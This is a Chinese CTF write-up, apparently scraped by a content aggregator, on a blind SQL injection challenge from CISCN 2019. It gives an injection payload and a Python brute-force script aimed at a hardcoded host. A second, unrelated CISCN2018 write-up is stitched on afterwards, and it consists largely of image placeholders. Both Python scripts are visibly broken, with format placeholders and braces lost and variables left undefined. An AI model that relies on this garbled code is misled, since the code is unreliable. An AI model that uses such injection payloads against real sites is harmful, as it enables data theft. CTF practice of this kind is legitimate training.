[CISCN 2019华北Day2]Web1

Posted magic123

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CISCN 2019华北Day2]Web1相关的知识,希望对你有一定的参考价值。

[CISCN 2019华北Day2]Web1

提示了flag表中有flag列,我们只能提交id

输入1和2都有文本输出,3的时候出现报错

输入1’#出现以下图片所示情况,说明应该存在过滤

我用fuzz跑一下,看一下哪些字符被过滤了

发现空格,or,order,union以及报错注入的相关字符都被过滤了。但是select和from没有被过滤,可以想到用盲注,构造语句:

id=(select(ascii(mid(flag,1,1))=102)from(flag))

如果ascii码错误,就返回Error Occured When Fetch Result.

如果正确,应该会返回1,也就是Hello, glzjin wants a girlfriend.

接下来需要用到盲注脚本来进行

import requests
import string

def blind_sql(url):
    flag=\'\'                    
    for num in range(1,60):     #flag一般不超过50个字符
        for i in string.printable:  #string.printable将给出所有的标点符号,数字,ascii_letters和空格
            payload=\'(select(ascii(mid(flag,0,1))=1)from(flag))\'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
            post = "id":payload
            result = requests.post(url=url,data=post)   #提交post请求
            if \'Hello\' in result.text:
                flag += i   #用flag接收盲注得到的结果
                print(flag) #打印结果
            else:
                continue
    print(flag)

if __name__ == \'__main__\':
    url=\'http://1.14.71.254:28799/index.php\'
    blind_sql(url)

得到flag

CISCN2018-WP

MISC:

验证码:

用token登录

输入好验证码就可以得到flag

clip_image001

Picture

图片隐写,一下就想到binwalk或者winhex打开试试

clip_image001[5]

binwalk打开无果

clip_image002

clip_image001[7]

将这段数据ctrl+shift+c复制出来

用下面python脚本生成zip文件。

import zlib

import binascii

import base64

id=””

r = zlib.decompress(binascii.unhexlify(id))

r = base64.b64decode(result)

fount = open(r"2.zip","wb")

fount.write(r)

fount.close()


clip_image002[5]

压缩包提示。

根据这个“ZeroDivisionError:”搜索

clip_image001[9]

然就知道压缩密码了。

clip_image002[7]

打开弹出这个信息。

然后又拿出winhex看了下

clip_image001[11]

然后输入压缩密码打开

发现code文件如下

clip_image002[9]

Uuencode解码即可

得到flag:

clip_image001[13]

RUN

clip_image001[15]

根据提示,要沙箱逃逸?

然后getshell。

然后百度谷歌了遍

命令都是瞎凑的。

clip_image002[11]

然后发现很多库和命令都被ban了。

逃逸这个词,一开始我不是很理解。

然后群里管理员说是有点web

可能这些命令都被‘过滤’了吧。

然后一个个试绕过。

clip_image002[13]

clip_image002[15]

得到flag。

这里很坑的是func_globals也会被‘过滤’。

CRYPTO

flag_in_your_hand

下载文件解压

得到html和js

clip_image002[17]

clip_image002[19]

clip_image001[17]

算出

clip_image001[19]

然后有个很坑的地方:这题的flag不是ciscn{}规范的。导致我按了很多次get flag按键,然后随便提交一个,导致被禁赛30min。

clip_image001[21]

得到flag。

Web

easyweb

clip_image001[23]

clip_image002[21]

复制这个token

clip_image002[23]

得到flag。

以上是关于[CISCN 2019华北Day2]Web1的主要内容,如果未能解决你的问题,请参考以下文章

复习[CISCN2019 华北赛区 Day2 Web1]Hack World -----sql注入

BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

2019CISCN华南线下两道web复现

&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&

ciscn_2019_es_4